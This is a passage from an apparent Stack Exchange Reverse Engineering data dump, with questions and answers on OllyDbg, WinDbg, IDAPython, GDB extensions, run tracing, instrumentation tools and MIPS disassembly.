files).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes, you'll need a ring0 debugger.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also mix static (disassembler) and runtime (debugger) analysis  for your DLL and driver (*.sys) file. Hex rays has a free version of IDA.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Both debuggers can be used for Ring3 (user-land) debugging, and only Windbg can do Ring0 (kernel-land) but they have their own strengths and weaknesses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From my point of view (I'm using both a lot):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;OllyDbg: &#xA;&lt;ul&gt;&#xA;&lt;li&gt;Pros: great for displaying information to the end-user; Color schemes, Well organised displaying windows.&lt;/li&gt;&#xA;&lt;li&gt;Cons: symbolic information is minimal; no command line; GUI only&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Windbg:&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Pros: extremely powerful with symbolic information; Ring0 debugging; windows internals; bare metal stuffs&lt;/li&gt;&#xA;&lt;li&gt;Cons: not really user-friendly; steep learning curve&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;They both have a native plugin system (C / C++); windbg have a scripting language which is a real PITA (but &lt;a href=&quot;https://pykd.codeplex.com/&quot; rel=&quot;nofollow&quot;&gt;pykd&lt;/a&gt; [Windbg scripting in python] can alleviate this problem).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that windbg can't do in-place live ring0 debugging (à la Softice or Syser) except with &quot;livekd&quot; (but this works on a system snpashot, not live): you need a host system (the debugger) and another machine which will be the debuggee (either a virtual machine or another physical machine).&lt;/p&gt;&#xA;" OwnerUserId="4702" LastActivityDate="2015-04-02T08:06:32.430" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8626" PostTypeId="2" ParentId="8622" CreationDate="2015-04-02T18:12:18.490" Score="3" Body="&lt;p&gt;what you show looks a lot like PEDA (&lt;a href=&quot;https://github.com/longld/peda&quot; rel=&quot;nofollow&quot; title=&quot;PEDA Github&quot;&gt;PEDA Github repo&lt;/a&gt;) a Python extension to GDB. Although PEDA is very good, it looks like it is not being actively developed anymore. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A newer incarnation of this idea is GEF (GDB Enhanced Features) (&lt;a href=&quot;https://github.com/hugsy/gef&quot; rel=&quot;nofollow&quot;&gt;GEF Github repo&lt;/a&gt;). It is written in Python as well and it has the advantage of bein &lt;em&gt;multi-architecture&lt;/em&gt; (Intel, ARM, MIPS, etc.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both require a minimal change in your .gdbinit to work, no tedious installation, dependencies or anything like that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have fun debugging!&lt;/p&gt;&#xA;" OwnerUserId="1685" LastActivityDate="2015-04-02T18:12:18.490" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8628" PostTypeId="1" AcceptedAnswerId="8636" CreationDate="2015-04-03T02:17:36.580" Score="1" ViewCount="2032" Body="&lt;p&gt;I want to collect all the IDA recovered symbol information in data sections (this information could be &lt;strong&gt;function name&lt;/strong&gt;, or it could be &lt;strong&gt;an entry of jump table&lt;/strong&gt;, or it could be a &lt;strong&gt;reference to other data sections&lt;/strong&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an example of data sections from a IDA disassembled binary. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jKc9B.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically there are three recovered symbols in data section, and I want to collect these information in a format like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x804a018 : sub_804847b&#xA;0x804a01dc : _strchr&#xA;0x804a020 : sub_80484AE&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am thinking to traverse all the memory address of a binary's data sections, and check the content of each address, to see whether it is a recovered symbol.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But basically how to read a suspicious symbol when iterating addresses? I read the &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idadoc/162.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;idc&lt;/code&gt;&lt;/a&gt; interface, but I just cannot find any the correct api to do so. Could anyone help me on this issue? I appreciate that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;------------------------ explain ------------------------&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I didn't get an answer in that post, in addition, I think what I explained in that post is somehow misleading.&lt;/p&gt;&#xA;" OwnerUserId="3215" LastEditorUserId="3215" LastEditDate="2015-04-03T14:37:23.240" LastActivityDate="2015-04-05T06:40:07.657" Title="How to get the recovered memory references in IDA-Pro?" Tags="|ida|idapython|symbols|" AnswerCount="1" CommentCount="4" ClosedDate="2015-04-22T18:16:14.343" ContentLicense="CC BY-SA 3.0" />
  <row Id="8630" PostTypeId="1" AcceptedAnswerId="8632" CreationDate="2015-04-03T20:40:53.353" Score="3" ViewCount="1313" Body="&lt;p&gt;I need to analyse a sample which creates a child process. I want to analyze the child process, too, but I have the following problem. Therefore, I take the command line plugin for my olldbg v1.10 and type the following command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;childdbg 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(that is also described at &lt;a href=&quot;https://stackoverflow.com/questions/21695192/can-ollydbg-trace-a-launched-exe&quot;&gt;https://stackoverflow.com/questions/21695192/can-ollydbg-trace-a-launched-exe&lt;/a&gt; by blabb )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the plugin says:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; Unrecognized command: CHILDDBG&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Why this appears? How can I fix it ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS:&#xA;Before somebody recommend me to use ollydbg v2.01 (because it has a built-in option to debug a child process), I can say that I can not open the sample with ollydb v2.01 but this is a topic which I asked here: &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/8614/getting-a-debug-message-after-opening-a-sample-with-ollydbg-2-01?noredirect=1#comment12249_8614&quot;&gt;&amp;quot;Debugged application has modified the debugging registers&amp;quot; with ollydbg 2.01&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;best regards, &lt;/p&gt;&#xA;" OwnerUserId="4645" LastEditorUserId="2147" LastEditDate="2018-09-28T00:42:36.577" LastActivityDate="2018-09-28T00:42:36.577" Title="Command for Command line plugin does not work" Tags="|ollydbg|process|plugin|command-line|error|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8632" PostTypeId="2" ParentId="8630" CreationDate="2015-04-04T04:21:07.340" Score="2" Body="&lt;p&gt;the latest version is available in blog entry  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.openrce.org/repositories/users/anonymouse/ModifiedCommandLinePluginWithChildDbg_Date_16082008.rar&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.openrce.org/repositories/users/anonymouse/ModifiedCommandLinePluginWithChildDbg_Date_16082008.rar&lt;/a&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;if the link did not work you can download a modified version of the plugin with an additional command &lt;strong&gt;.writemem&lt;/strong&gt;  compiler has been changed to vc++ and old code modified to suit vc++  so the functionality of old commands not tested use it cautiously. i have tested only the .writemem functionality&lt;/p&gt;&#xA;&#xA;&lt;p&gt;some background for the additional command can be found here &#xA;&lt;a href=&quot;https://stackoverflow.com/questions/28488750/how-to-automate-task-in-ollydbg-using-ollyscript-or-any-other-tool/28556003#28556003&quot;&gt;https://stackoverflow.com/questions/28488750/how-to-automate-task-in-ollydbg-using-ollyscript-or-any-other-tool/28556003#28556003&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wikisend.com/download/750442/cmdline.dll&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://wikisend.com/download/750442/cmdline.dll&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2015-04-05T09:54:34.637" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8633" PostTypeId="1" CreationDate="2015-04-04T10:51:34.363" Score="1" ViewCount="1958" Body="&lt;p&gt;I want to hook a certain function in a program, the problem is I don't know where the function is located. All I know is that it takes as an argument a string. A string that I know. My problem is I am unable to find the function I tried Dieder Steven's OllyStepNSearch plugin. But no success, my guess is that the function has several parameters and that the pointer to string is passed via the stack. Is there a plugin of any existing debugger that can help me find that string when is referenced ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="12159" LastActivityDate="2015-04-04T20:10:08.257" Title="Find function that references string" Tags="|ollydbg|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8634" PostTypeId="2" ParentId="8633" CreationDate="2015-04-04T13:02:21.713" Score="2" Body="&lt;p&gt;you should have something to grip at if you know that eax may contain the string at some point or [esp+8] contains the string at some point &lt;/p&gt;&#xA;&#xA;&lt;p&gt;you can employ ollydbg's (1.10)  Set Condition to RunTrace and trace the execution &lt;/p&gt;&#xA;&#xA;&lt;p&gt;a simple message box app loaded in ollydbg &#xA; poi(esp+4) when broken on a call to user32!MessageBoxW will contain the Text I know so let me set a ctrl+t condition as follows and traceover (ctrl+f12)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UNICODE [[esp+4]] == &quot;cannot&quot; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;here is the log of the all the breaks where [[esp+4]] was unicode string &#xA;&quot;cannot find XXXXXXXXXXX &lt;/p&gt;&#xA;&#xA;&lt;p&gt;before the last log i modified the srch string to &lt;code&gt;&quot;say&quot;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Log data&#xA;Message&#xA;Conditional pause: UNICODE [[esp+4]] == &quot;cannot&quot;&#xA;broke here eip  = 401011  stack contains  unicode [[esp+4]] = cannot find &quot;hello&quot;&#xA;Conditional pause: UNICODE [[esp+4]] == &quot;cannot&quot;&#xA;broke here eip  = 401025  stack contains  unicode [[esp+4]] = cannot find &quot;iello&quot;&#xA;Conditional pause: UNICODE [[esp+4]] == &quot;cannot&quot;&#xA;broke here eip  = 401039  stack contains  unicode [[esp+4]] = cannot find &quot;jello&quot;&#xA;Conditional pause: UNICODE [[esp+4]] == &quot;cannot&quot;&#xA;broke here eip  = 40104d  stack contains  unicode [[esp+4]] = cannot find &quot;fello&quot;&#xA;Conditional pause: UNICODE [[esp+4]] == &quot;cannot&quot;&#xA;broke here eip  = 401061  stack contains  unicode [[esp+4]] = cannot find &quot;kello&quot;&#xA;broke here eip  = 401061  stack contains  unicode [[esp+4]] = cannot find &quot;kello&quot;&#xA;Conditional pause: UNICODE [[esp+4]] == &quot;say&quot;&#xA;broke here eip  = 401075  stack contains  unicode [[esp+4]] = saying &quot;hello&quot; baby&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;one can also set complex conditions to locate srch pattern of interest &lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is a log of ollydbg opening notepad,exe and looking for the path of cmd.exe when eip &gt; imagebase with ctrl+f11 (trace in ) it traced &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Run trace, selected line&#xA; Back=141932.&#xA;commands before pausing &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;log&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Log data, item 0&#xA; Message=Conditional pause:  eax &amp;gt; 0x400000  &amp;amp;&amp;amp;  UNICODE [eax] == &quot;c:\\windows\\system32\\cmd.exe&quot;&#xA;&#xA;where eip was &#xA;Log data, item 0&#xA; Message=eip = 7c918154&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which is part of ntdll!_wcscat &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;7C91814E        /MOV     CX, WORD PTR DS:[ESI]       ;  55.&#xA;7C918151        |MOV     WORD PTR DS:[EDX], CX       ;  55.&#xA;7C918154        |INC     EDX                         ;  54.&#xA;7C918155        |INC     EDX                         ;  54.&#xA;7C918156        |INC     ESI                         ;  54.&#xA;7C918157        |INC     ESI                         ;  54.&#xA;7C918158        |TEST    CX, CX                      ;  54.&#xA;7C91815B        \JNZ     SHORT ntdll.7C91814E        ;  54.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;whcih shows the string ise being constructed dynamically&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Log data, item 0&#xA; Message=edx  = 5cb800f4  unicode [edx]  = e  cx  = 65  unicode [eax] = C:\WINDOWS\System32\cmd.exe&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the &lt;code&gt;55. / 54.&lt;/code&gt; in the disassembly is count the instruction was executed prior to break  &lt;code&gt;len ( unicode ( c:\windows\system32\cmd.exe)) == 53 . /  chars&lt;/code&gt; count starts from 1  eax became srchstr and ollydbg broke the next instruction is yet to be executed &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;copy con strlen&#xA;C.:.\.W.I.N.D.O.W.S.\.S.y.s.t.e.m.3.2.\.c.m.d...e.x.e^Z&#xA;        1 file(s) copied.&#xA;&#xA;wc strlen&#xA;      0       1      53 strlen&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;reading the comment it appears there is a misconception about the proposed &#xA;method above so to clarify this is &lt;strong&gt;not&lt;/strong&gt; a conditional breakpoint and is not tied to any offset that should be known beforehand  this method of setting a pause is dynamic evaluation of the condition on each step (in both trace in and trace over) and pause the trace when condition is met &#xA;condition can also be modified inflight &lt;/p&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2015-04-04T20:10:08.257" LastActivityDate="2015-04-04T20:10:08.257" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="8635" PostTypeId="1" CreationDate="2015-04-05T05:30:35.313" Score="11" ViewCount="4386" Body="&lt;p&gt;For those that haven't seen, Snapchat now has a special type of image based code that allows you to quickly add friends by pointing the camera at the screen, similar to a QR code, called &quot;Snaptags&quot;. Here's an example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mpfv4.jpg&quot; alt=&quot;Here&amp;#39;s an example&quot;&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know how one would be able to reverse engineer how this system works so that you'd be able to automatically generate these &quot;Snaptags&quot; given a specific username? I've never had to reverse engineer a system like this before and am not sure how to go about it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="12171" LastActivityDate="2020-04-19T04:21:38.883" Title="Generating Snapchat Snaptags (&quot;QR&quot; Codes)" Tags="|android|ios|encodings|api|development|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8636" PostTypeId="2" ParentId="8628" CreationDate="2015-04-05T06:40:07.657" Score="1" Body="&lt;p&gt;As far as I understood your question, you will need the following IDAPython apis:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Getting a content from specific memory address : idc.Dword(address) or idc.Qword(address) - you should choose the function according to the pointer size.&lt;/li&gt;&#xA;&lt;li&gt;Obtaining a name of the address: idc.Name(address)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;All the mentioned IDAPython apis has the similar things in idc &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, for your specific example you'll get the desired output as follows (IDAPython):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import idc&#xA;addresses = [0x804a018, 0x804a01dc ,0x804a020 ]&#xA;&#xA;for a in addresses:&#xA;    print hex(a),&quot; : &quot;, idc.Name(idc.Dword(a))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Filtering the data in the .data section is completely different story.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example you can do the following (it is not 100% correct):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import idc&#xA;&#xA;segstart = your_code_segment_start&#xA;segend = your_code_segment_end&#xA;ptrstep = your_system_pointer_size_in_bytes&#xA;&#xA;for a in range(segstart, segend, ptrstep):&#xA;    data = idc.Dword(a) #replace with qword if working with 64 bit)&#xA;    if a &amp;lt; segstart or a &amp;gt;= segend:&#xA;        continue&#xA;    if not idc.Name(data) is None:&#xA;        print hex(a), &quot; --&amp;gt; &quot;, idc.Name(data)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2318" LastActivityDate="2015-04-05T06:40:07.657" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8638" PostTypeId="1" AcceptedAnswerId="8646" CreationDate="2015-04-05T18:28:47.347" Score="1" ViewCount="260" Body="&lt;p&gt;I am trying to iterate all the C &lt;code&gt;statement&lt;/code&gt; (could be very coarse-grained, it's fine) in IDA-Pro recovered assembly program. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suppose I only consider these statements:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;State :: =&#xA;  | if-else cond;&#xA;  | loop;&#xA;  | assignment;&#xA;  | function call&#xA;  | return&#xA;  | {s1; s2; s3 ...}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And after some quick search, I know that there are some (third-party) plugins that can help to identify some &lt;code&gt;C&lt;/code&gt; control-flow structure, and I list some of them below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if-else cond  :   N/A&lt;/p&gt;&#xA;&#xA;&lt;p&gt;loop  : &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/6175/idapython-find-functions-that-contain-a-loop/6176#6176&quot;&gt;link1&lt;/a&gt; &lt;a href=&quot;https://hex-rays.com/contests/2011/index.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;link2&lt;/a&gt; &lt;a href=&quot;http://old.idapalace.net/papers/loopdetection.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;link3&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my questions are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Is there any plugins that can recover if/else statement? It looks easier than loop, but I just cannot find a well-developed way to recover the statement.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Is there anyway/api/scripts to iterate C statements in IDA-Pro? Or I have to implement myself?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Ideally it should look like this as this is essentially used in source code analysis... (sorry for this pseudo code, I just want to clarify)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;let aux s =&#xA;    match s with&#xA;    | If e1 b1 b2 -&amp;gt; analyze e1 b1 b2&#xA;    | Loop e1 e2 e3 b1 -&amp;gt; analyze e1 e2 e3 b1&#xA;    | Assign v1 v2 -&amp;gt; analyze v1 v2 &#xA;    | States sl -&amp;gt; List.iter analyze sl&#xA;    | ...  in&#xA;List.iter aux statement_list&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3215" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2015-04-06T13:42:25.433" Title="Is there anyway I can iterate all the C-level statements in IDA-Pro?" Tags="|ida|binary-analysis|ida-plugin|idapython|static-analysis|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8639" PostTypeId="1" CreationDate="2015-04-05T18:40:10.077" Score="8" ViewCount="1265" Body="&lt;p&gt;Compilers often optimize variables usage, so multiple variables in the source code can be mapped to the same register (or stack variable) in the resulting assembly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that registers can be renamed within a start and end addresses in the assembly view in IDA, but what about hex-rays decompiler? Can I give a name to a variable only in a part of the decompiled function, and some other in another part?&lt;/p&gt;&#xA;" OwnerUserId="8454" LastActivityDate="2018-01-19T08:10:31.763" Title="How to map a variable to multiple names in Hex-Rays decompiler" Tags="|ida|hexrays|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8642" PostTypeId="1" CreationDate="2015-04-06T05:42:42.100" Score="5" ViewCount="1340" Body="&lt;p&gt;I've discovered recently &lt;a href=&quot;http://www.pintool.org/&quot; rel=&quot;noreferrer&quot;&gt;PIN&lt;/a&gt; which allows to dynamically instrument the binary code while still making the program believe it is running unmodified.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even more recently, I've heared about &lt;a href=&quot;http://www.dyninst.org/&quot; rel=&quot;noreferrer&quot;&gt;Dyninst&lt;/a&gt; and &lt;a href=&quot;http://www.dynamorio.org/&quot; rel=&quot;noreferrer&quot;&gt;DynamoRIO&lt;/a&gt;. Do you know some other tools like this? And more importantly, do you know the difference between those? What are their strenghs and their weaknesses for the topic of reverse engineering and binary code analysis?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More specifically, the properties I'm interested in are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Open source licence&lt;/li&gt;&#xA;&lt;li&gt;Operating system portability (Linux, Windows, Mac, ...)&lt;/li&gt;&#xA;&lt;li&gt;Hardware architecture portability (x86 (32 and 64 bits), ARM, ...)&lt;/li&gt;&#xA;&lt;li&gt;Run the program unnoticeably, especially when the programs perform some tricks like executable code generation / modification, instruction overlap, memory image checksum, etc.&lt;/li&gt;&#xA;&lt;li&gt;Hard to detect (how about a program reading &lt;code&gt;/proc/self/maps&lt;/code&gt; or trying to &lt;code&gt;mmap&lt;/code&gt; all the memory pages that should be free or even reading hardware instruction counters?)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;But of course, other usual properties are also very welcome, like low overhead and ease of use.&lt;/p&gt;&#xA;" OwnerUserId="10203" LastActivityDate="2015-04-08T02:27:55.667" Title="Dynamic instrumentation tools" Tags="|dynamic-analysis|instrumentation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8644" PostTypeId="1" AcceptedAnswerId="8645" CreationDate="2015-04-06T09:10:39.123" Score="1" ViewCount="2434" Body="&lt;p&gt;I recently found the program: ltrace. And was wondering if it's possible to achieve the same using one of the gui debuggers for windows: ida, immunity,  etc. The only thing I've found is a port of the cmdline util. Which is perfectly fine, but it would be convenient if I could do the same using, say ida.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tldr; Trace library calls using a windows debugger/disassembler.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for the quick response and the examples. Got everything I needed.&lt;/p&gt;&#xA;" OwnerUserId="10005" LastEditorUserId="10005" LastEditDate="2015-04-06T15:45:50.933" LastActivityDate="2015-04-06T15:45:50.933" Title="Windows debugger with ltrace functionality" Tags="|ida|windows|debuggers|immunity-debugger|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8645" PostTypeId="2" ParentId="8644" CreationDate="2015-04-06T10:48:17.150" Score="2" Body="&lt;p&gt;ollydbg -&gt; search for all intermodular calls -&gt; in the new window -&gt; set log break point radio button pause to never , log function argument to always ok &lt;/p&gt;&#xA;&#xA;&lt;p&gt;you should see all the lib functions breakpointed in pink &lt;/p&gt;&#xA;&#xA;&lt;p&gt;f9 to run the application &lt;/p&gt;&#xA;&#xA;&lt;p&gt;on exit look at log window for all the calls that were made to other modules from executab;e&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Log data&#xA;Message&#xA;Program entry point&#xA;CALL to GetSystemTimeAsFileTime&#xA;  pFileTime = 0013FFB4&#xA;CALL to GetCurrentProcessId&#xA;CALL to GetCurrentThreadId&#xA;CALL to GetTickCount&#xA;CALL to QueryPerformanceCounter&#xA;  pPerformanceCount = 0013FFAC&#xA;CALL to HeapCreate&#xA;  Flags = 0&#xA;  InitialSize = 1000 (4096.)&#xA;  MaximumSize = 0&#xA;CALL to GetModuleHandleW&#xA;  pModule = &quot;KERNEL32.DLL&quot;&#xA;CALL to GetProcAddress&#xA;  hModule = 7C800000 (kernel32)&#xA;  ProcNameOrOrdinal = &quot;FlsAlloc&quot;&#xA;CALL to GetProcAddress&#xA;  hModule = 7C800000 (kernel32)&#xA;  ProcNameOrOrdinal = &quot;FlsGetValue&quot;&#xA;CALL to GetProcAddress&#xA;  hModule = 7C800000 (kernel32)&#xA;  ProcNameOrOrdinal = &quot;FlsSetValue&quot;&#xA;CALL to GetProcAddress&#xA;  hModule = 7C800000 (kernel32)&#xA;  ProcNameOrOrdinal = &quot;FlsFree&quot;&#xA;CALL to TlsAlloc&#xA;CALL to TlsSetValue&#xA;  TlsIndex = 1&#xA;  pValue = kernel32.TlsGetValue&#xA;CALL to TlsAlloc&#xA;CALL to HeapAlloc&#xA;  hHeap = 00350000&#xA;  Flags = HEAP_ZERO_MEMORY&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;windbg &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;cdb -c &quot;!logexts.loge;!logm i *;!loge;!logo e d;g;q&quot; msgboxw.exe &gt; trace.txt &amp;amp; grep MessageBoxW trace.txt&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Thrd 3c4 00401017 MessageBoxW( NULL &quot;cannot find &quot;hello&quot;&quot; &quot;test&quot;MB_OK) -&amp;gt; IDOK&#xA;Thrd 3c4 0040102B MessageBoxW( NULL &quot;cannot find &quot;iello&quot;&quot; &quot;test&quot;MB_OK) -&amp;gt; IDOK&#xA;Thrd 3c4 0040103F MessageBoxW( NULL &quot;cannot find &quot;jello&quot;&quot; &quot;test&quot;MB_OK) -&amp;gt; IDOK&#xA;Thrd 3c4 00401053 MessageBoxW( NULL &quot;cannot find &quot;fello&quot;&quot; &quot;test&quot;MB_OK) -&amp;gt; IDOK&#xA;Thrd 3c4 00401067 MessageBoxW( NULL &quot;cannot find &quot;kello&quot;&quot; &quot;test&quot;MB_OK) -&amp;gt; IDOK&#xA;Thrd 3c4 0040107B MessageBoxW( NULL &quot;saying &quot;hello&quot; baby&quot; &quot;test&quot;MB_OK) -&amp;gt; IDOK&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2015-04-06T12:01:23.443" LastActivityDate="2015-04-06T12:01:23.443" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8646" PostTypeId="2" ParentId="8638" CreationDate="2015-04-06T13:42:25.433" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;ol&gt;&#xA;  &lt;li&gt;Is there any plugins that can recover if/else statement? It looks easier than loop, but I just cannot find a well-developed way to&#xA;  recover the statement.&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes, the &lt;a href=&quot;https://www.hex-rays.com/products/decompiler/index.shtml&quot; rel=&quot;nofollow&quot;&gt;Hex-Rays Decompiler&lt;/a&gt; recovers if/else statements.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ol start=&quot;2&quot;&gt;&#xA;  &lt;li&gt;Is there anyway/api/scripts to iterate C statements in IDA-Pro? Or I have to implement myself?&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes, the &lt;a href=&quot;https://www.hex-rays.com/products/decompiler/sdk.shtml&quot; rel=&quot;nofollow&quot;&gt;Hex-Rays SDK&lt;/a&gt; allows you to iterate the items (including if-else statements) in a decompilation tree.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-04-06T13:42:25.433" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8647" PostTypeId="1" AcceptedAnswerId="8649" CreationDate="2015-04-06T17:20:07.740" Score="4" ViewCount="5642" Body="&lt;p&gt;So i want to disassemble and then run a MIPS elf file for the first time. As i don't have MIPS hardware i am using mipsel-unknown-linux-gnu toolchain.Here comes the problem. The output of the command file myelf is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked (uses shared libs), stripped&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But when i try to disassemble the file i get:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mipsel-unknown-linux-gnu-objdump: myelf: File format not recognized&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I get the same error when i want to run it or to debug it. But if i write a small program in MIPS assembly (using an edit and 